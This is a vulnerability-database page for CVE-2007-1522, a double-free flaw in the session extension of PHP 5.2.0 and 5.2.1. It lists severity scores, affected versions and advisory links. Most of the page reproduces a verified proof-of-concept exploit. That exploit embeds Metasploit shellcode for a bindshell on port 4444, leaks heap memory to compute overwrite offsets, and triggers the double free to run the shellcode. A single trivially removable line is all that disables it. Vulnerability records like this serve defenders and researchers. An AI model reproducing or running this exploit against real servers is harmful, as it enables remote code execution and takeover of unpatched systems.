CVE-2007-1522 : Detail

CVE-2007-1522

1.48%V3
Network
2007-03-20
19h00 +00:00
2007-03-31
07h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Double free vulnerability in the session extension in PHP 5.2.0 and 5.2.1 allows context-dependent attackers to execute arbitrary code via illegal characters in a session identifier, which is rejected by an internal session storage module, which calls the session identifier generator with an improper environment, leading to code execution when the generator is interrupted, as demonstrated by triggering a memory limit violation or certain PHP errors.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 3480

Publication date : 2007-03-13 23h00 +00:00
Author : Stefan Esser
EDB Verified : Yes

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP 5 Rejected Session ID Double Free Exploit // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); // linux x86 bindshell on port 4444 from Metasploit $shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46". "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f". "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6". "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06". "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc". "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d". "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65"; // Offsets used for the overwrite (will be overwritten by findOffsets() $offset_1 = 0x55555555; $offset_2 = 0x08048040; if (PHP_VERSION < "5.2.0") { die ("Only works with PHP >= 5.2.0"); } findOffsets(); // Comment out if you want to just test the crash // Convert offsets into strings $addr1 = pack("L", $offset_1); $addr2 = pack("L", $offset_2); define("C0", $addr1[0]); define("C1", $addr1[1]); define("C2", $addr1[2]); define("C3", $addr1[3]); define("M0", $addr2[0]); define("M1", $addr2[1]); define("M2", $addr2[2]); define("M3", $addr2[3]); $c=1; function myErrorHandler() { global $c; if ($c==1) { $c=0; return true; } session_id(str_repeat("A", 100)); $GLOBALS['str'] = str_repeat("A", 39); for ($i=0; $i<7; $i++) { $GLOBALS['str'][$i*4+0] = M0; $GLOBALS['str'][$i*4+1] = M1; $GLOBALS['str'][$i*4+2] = M2; $GLOBALS['str'][$i*4+3] = M3; } $GLOBALS['str'][8*4+0] = C0; $GLOBALS['str'][8*4+1] = C1; $GLOBALS['str'][8*4+2] = C2; $GLOBALS['str'][8*4+3] = C3; return true; } function doit() { ini_set("session.hash_bits_per_character", 666); error_reporting(E_ALL); set_error_handler("myErrorHandler"); session_id(str_repeat(":", 39)); session_start(); } doit(); // This function uses the substr_compare() vulnerability // to get the offsets. function findOffsets() { global $offset_1, $offset_2, $shellcode; // We need to NOT clear these variables, // otherwise the heap is too segmented global $memdump, $d, $arr; $sizeofHashtable = 39; $maxlong = 0x7fffffff; // Signature of a big endian Hashtable of size 256 with 1 element $search = "\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00"; $memdump = str_repeat("A", 4096); for ($i=0; $i<400; $i++) { $d[$i]=array(); } unset($d[350]); $x = str_repeat("\x01", $sizeofHashtable); unset($d[351]); unset($d[352]); $arr = array(); for ($i=0; $i<129; $i++) { $arr[$i] = 1; } $arr[$shellcode] = 1; for ($i=0; $i<129; $i++) { unset($arr[$i]); } // If the libc memcmp leaks the information use it // otherwise we only get a case insensitive memdump $b = substr_compare(chr(65),chr(0),0,1,false) != 65; for ($i=0; $i<4096; $i++) { $y = substr_compare($x, chr(0), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b); if ($y-$Y == 1 || $Y-$y==1){ $y = chr($y); if ($b && strtoupper($y)!=$y) { if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) { $y = strtoupper($y); } } $memdump[$i] = $y; } else { $y = substr_compare($x, chr(1), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(2), $i+1, $maxlong, $b); if ($y-$Y != 1 && $Y-$y!=1){ $memdump[$i] = chr(1); } else { $memdump[$i] = chr(0); } } } // Search shellcode and hashtable and calculate memory address $pos_shellcode = strpos($memdump, $shellcode); $pos_hashtable = strpos($memdump, $search); $addr = substr($memdump, $pos_hashtable+6*4, 4); $addr = unpack("L", $addr); // Fill in both offsets $offset_1 = $addr[1] + 32; $offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4; } ?> # milw0rm.com [2007-03-14]

Products Mentioned

Configuraton 0

Php>>Php >> Version 5.2.0

Php>>Php >> Version 5.2.1

References

http://www.vupen.com/english/advisories/2007/0960
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/25056
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24505
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/22971
Tags : vdb-entry, x_refsource_BID